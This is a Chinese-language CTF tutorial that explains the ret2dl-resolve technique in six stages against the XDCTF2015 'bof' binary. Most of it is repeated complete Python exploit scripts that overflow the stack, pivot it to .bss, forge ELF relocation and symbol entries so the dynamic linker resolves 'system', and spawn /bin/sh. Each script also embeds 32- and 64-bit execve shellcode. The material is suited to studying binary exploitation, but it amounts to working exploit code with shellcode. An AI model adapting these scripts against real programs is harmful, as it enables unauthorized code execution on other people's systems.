本文来源:

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

题目文件:

链接: https://pan.baidu.com/s/1fjE9DsUoixNSfDz_OcKRmg?pwd=inp0 提取码: inp0

最近在学pwn额,学到ret2_dl_resolve这卡了很久,博客里面其实利用过程说的很好了,但是在利用的各个stage上,会有一些理解问题,这里我把我的理解写出来,也希望能帮助到更多的人来学习这个知识点。

下面我用的pwn环境是基于welpwn的,改一下代码也可以用pwntools

前几个stage内,我们的目标都是打印出/bin/sh字符串,在最后我们直接将write改为system即可getshell

Stage1

这里我们直接返回到write@plt,很简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""

# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functionsr
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'

ctx.binary = './bof'
rs()
# rs('gdb', gdbscript='b vuln\nc')
elf = ctx.binary
# libc = ctx.libc

pop_esi_edi_ebp = 0x08048619
pop_ebp = 0x0804861b
leave_ret = 0x08048458

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

stack_size = 0x800
bss_base = elf.bss()
# place our codes
base_stage = bss_base + stack_size


ru(b'Welcome to XDCTF2015~!\n')
payload = flat(['a'*offset, read_plt, pop_esi_edi_ebp, 0, base_stage,100, pop_ebp, base_stage, leave_ret])

sl(payload)

cmd = b'/bin/sh\x00'

payload2 = b'AAAA'
payload2 += p32(write_plt)
payload2 += b'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 = payload2.ljust(80, b'A')
payload2 += cmd
payload2 = payload2.ljust(100, b'A')
sl(payload2)

irt()

image-20221028125704045

这里我简单讲一些我当时的疑问点,懂的可以直接跳过

首先是base_stage的选定,这里其实无所谓,只要在bss的可写读范围内即可。比如改成0x400也是没问题的。

然后是payload中,最后的leave_ret,由于leave指令是mov esp, ebp; pop ebp所以我们需要在payload2前面加入4个冗余字节,之后才是我们真正的payload2的开始,在write中,参数是base_stage+80,所以我们写入payload2的时候,参数即cmd是放在ljust 80后面的。

Stage2

这一步我们使用plt[0]来劫持到write,由于plt[0]加上offset,就是got首次定位的过程,不明白的同学可以去原文看看过程。

所以我们把write@plt改成plt[0]调用的过程即可。

伪造的是这个过程

image-20221028141356497

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""

# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functionsr
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'

ctx.binary = './bof'
rs()
# rs('gdb', gdbscript='b vuln\nc')
elf = ctx.binary
# libc = ctx.libc

pop_esi_edi_ebp = 0x08048619
pop_ebp = 0x0804861b
leave_ret = 0x08048458

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

stack_size = 0x400
bss_base = elf.bss()
# place our codes
base_stage = bss_base + stack_size


ru(b'Welcome to XDCTF2015~!\n')
payload = flat(['a'*offset, read_plt, pop_esi_edi_ebp, 0, base_stage,100, pop_ebp, base_stage, leave_ret])

sl(payload)


cmd = b'/bin/sh\x00'
plt_0 = seg_addr(elf, '.plt')
index_offset = 0x20

payload2 = b'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += b'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 = payload2.ljust(80, b'A')
payload2 += cmd
payload2 = payload2.ljust(100, b'A')
sl(payload2)

irt()

Stage3

这一步我们要通过伪造一个rel.plt表项,就像这样

image-20221028141129777

1
2
3
4
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;

一个rel结构体是这样的。

我们用ida打开,发现我们stage2中伪造的0x20,其实就是write表项在.rel.plt中的偏移

image-20221028141549823

所以我们伪造好新的elf32_rel结构体后,计算出距离.rel.plt的距离,就是我们新的index_offset,然后在payload2的确定位置布置我们的fakerel即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""

# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functionsr
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'

ctx.binary = './bof'
rs()
# rs('gdb', gdbscript='b vuln\nc')
elf = ctx.binary
# libc = ctx.libc

pop_esi_edi_ebp = 0x08048619
pop_ebp = 0x0804861b
leave_ret = 0x08048458

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

stack_size = 0x400
bss_base = elf.bss()
# place our codes
base_stage = bss_base + stack_size


ru(b'Welcome to XDCTF2015~!\n')
payload = flat(['a'*offset, read_plt, pop_esi_edi_ebp, 0, base_stage,100, pop_ebp, base_stage, leave_ret])

sl(payload)


cmd = b'/bin/sh\x00'
plt_0 = seg_addr(elf, '.plt')
rel_plt = seg_addr(elf, '.rel.plt')

write_got = elf.got['write']
r_info = 0x607
fake_rel = p32(write_got) + p32(r_info)
# put fake rel to payload+32
index_offset = base_stage + 32 - rel_plt

payload2 = b'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += b'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 = payload2.ljust(32, b'a')
payload2 += fake_rel
payload2 = payload2.ljust(80, b'A')
payload2 += cmd
payload2 = payload2.ljust(100, b'A')
sl(payload2)

irt()

Stage4

这一步开始有难度了。但是也没多难,我们需要伪造一个这样的结构。

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;

在内存中是长这样的(write)的

image-20221028192723339

其中第一个0x4c即st_name,指向dynstr的表中的"write"

所以我们padding到一个正确的位置,并且保证16字节向dynsym对齐,放置我们的elf32_sym结构体即可。

但同时注意,我们也要让上一步里的r_info正确指向到我们的结构体。所以要对r_info再计算一次。

同时这里发现stack_size为0x400的话会不够用,应该是函数调用栈更多了,所以要扩大为0x800

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""

# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functionsr
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'

ctx.binary = './bof'
rs()
# rs('gdb', gdbscript='b vuln\nc')
elf = ctx.binary
# libc = ctx.libc

pop_esi_edi_ebp = 0x08048619
pop_ebp = 0x0804861b
leave_ret = 0x08048458

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
stack_size = 0x800
bss_base = elf.bss()
leak('bss', bss_base)
# place our codes
base_stage = bss_base + stack_size


ru(b'Welcome to XDCTF2015~!\n')
payload = flat(['a'*offset, read_plt, pop_esi_edi_ebp, 0, base_stage,100, pop_ebp, base_stage, leave_ret])

sl(payload)


cmd = b'/bin/sh\x00'
plt_0 = seg_addr(elf, '.plt')
rel_plt = seg_addr(elf, '.rel.plt')

write_got = elf.got['write']


# input()
dynsym = seg_addr(elf, '.dynsym')
# put fake sym to payload+44
fake_sym_addr = base_stage + 44
# however, we need fake_sym_addr distance to dynsym with 0x10 bytes aligned,
# so make some paddings
padding = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += padding
fake_dynsym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_dynsym_index << 8) | 7
fake_rel = p32(write_got) + p32(r_info)
# put fake rel to payload+32
index_offset = base_stage + 32 - rel_plt
# string "write" is at .dynstr + 0x4c
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = b'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += b'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 = payload2.ljust(32, b'a')
payload2 += fake_rel
payload2 = payload2.ljust(44, b'a')
payload2 += b'P' * padding
payload2 += fake_sym

payload2 = payload2.ljust(80, b'A')
payload2 += cmd
payload2 = payload2.ljust(100, b'A')
sl(payload2)

irt()

Stage5

已知st_name是指向dynstr的一个字符串了,那么我们这里也可以控制st_name指向我们payload2里的一个字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""

# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functionsr
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'

ctx.binary = './bof'
rs()
# rs('gdb', gdbscript='b vuln\nc')
elf = ctx.binary
# libc = ctx.libc

pop_esi_edi_ebp = 0x08048619
pop_ebp = 0x0804861b
leave_ret = 0x08048458

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
stack_size = 0x800
bss_base = elf.bss()
leak('bss', bss_base)
# place our codes
base_stage = bss_base + stack_size


ru(b'Welcome to XDCTF2015~!\n')
payload = flat(['a'*offset, read_plt, pop_esi_edi_ebp, 0, base_stage,100, pop_ebp, base_stage, leave_ret])

sl(payload)


cmd = b'/bin/sh\x00'
plt_0 = seg_addr(elf, '.plt')
rel_plt = seg_addr(elf, '.rel.plt')

write_got = elf.got['write']


# input()
dynsym = seg_addr(elf, '.dynsym')
dynstr = seg_addr(elf, '.dynstr')
# put fake sym to payload+44
fake_sym_addr = base_stage + 44
# however, we need fake_sym_addr distance to dynsym with 0x10 bytes aligned,
# so make some paddings
padding = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += padding
fake_dynsym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_dynsym_index << 8) | 7
fake_rel = p32(write_got) + p32(r_info)
# put fake rel to payload+32
index_offset = base_stage + 32 - rel_plt
# got 0x4c from run 'bof' in peda and search memory
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = b'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += b'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 = payload2.ljust(32, b'a')
payload2 += fake_rel
payload2 = payload2.ljust(44, b'a')
payload2 += b'P' * padding
payload2 += fake_sym
payload2 += b"system\x00"
payload2 = payload2.ljust(80, b'A')
payload2 += cmd
payload2 = payload2.ljust(100, b'A')
sl(payload2)

irt()

Stage6

已经能控制执行函数了,所以我们修改write为system,同时修改参数布局即可。原来函数为write(1, base+80, 100),现在修改为system(base+80)即可,修改比较简单,成功getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""

# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functionsr
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'

ctx.binary = './bof'
rs()
# rs('gdb', gdbscript='b vuln\nc')
elf = ctx.binary
# libc = ctx.libc

pop_esi_edi_ebp = 0x08048619
pop_ebp = 0x0804861b
leave_ret = 0x08048458

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
stack_size = 0x800
bss_base = elf.bss()
leak('bss', bss_base)
# place our codes
base_stage = bss_base + stack_size


ru(b'Welcome to XDCTF2015~!\n')
payload = flat(['a'*offset, read_plt, pop_esi_edi_ebp, 0, base_stage,100, pop_ebp, base_stage, leave_ret])

sl(payload)


cmd = b'/bin/sh\x00'
plt_0 = seg_addr(elf, '.plt')
rel_plt = seg_addr(elf, '.rel.plt')

write_got = elf.got['write']


# input()
dynsym = seg_addr(elf, '.dynsym')
dynstr = seg_addr(elf, '.dynstr')
# put fake sym to payload+44
fake_sym_addr = base_stage + 44
# however, we need fake_sym_addr distance to dynsym with 0x10 bytes aligned,
# so make some paddings
padding = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += padding
fake_dynsym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_dynsym_index << 8) | 7
fake_rel = p32(write_got) + p32(r_info)
# put fake rel to payload+32
index_offset = base_stage + 32 - rel_plt
# got 0x4c from run 'bof' in peda and search memory
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = b'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += b'AAAA'
payload2 += p32(base_stage + 80)
payload2 = payload2.ljust(32, b'a')
payload2 += fake_rel
payload2 = payload2.ljust(44, b'a')
payload2 += b'P' * padding
payload2 += fake_sym
payload2 += b"system\x00"
payload2 = payload2.ljust(80, b'A')
payload2 += cmd
payload2 = payload2.ljust(100, b'A')
sl(payload2)

irt()

image-20221028193837604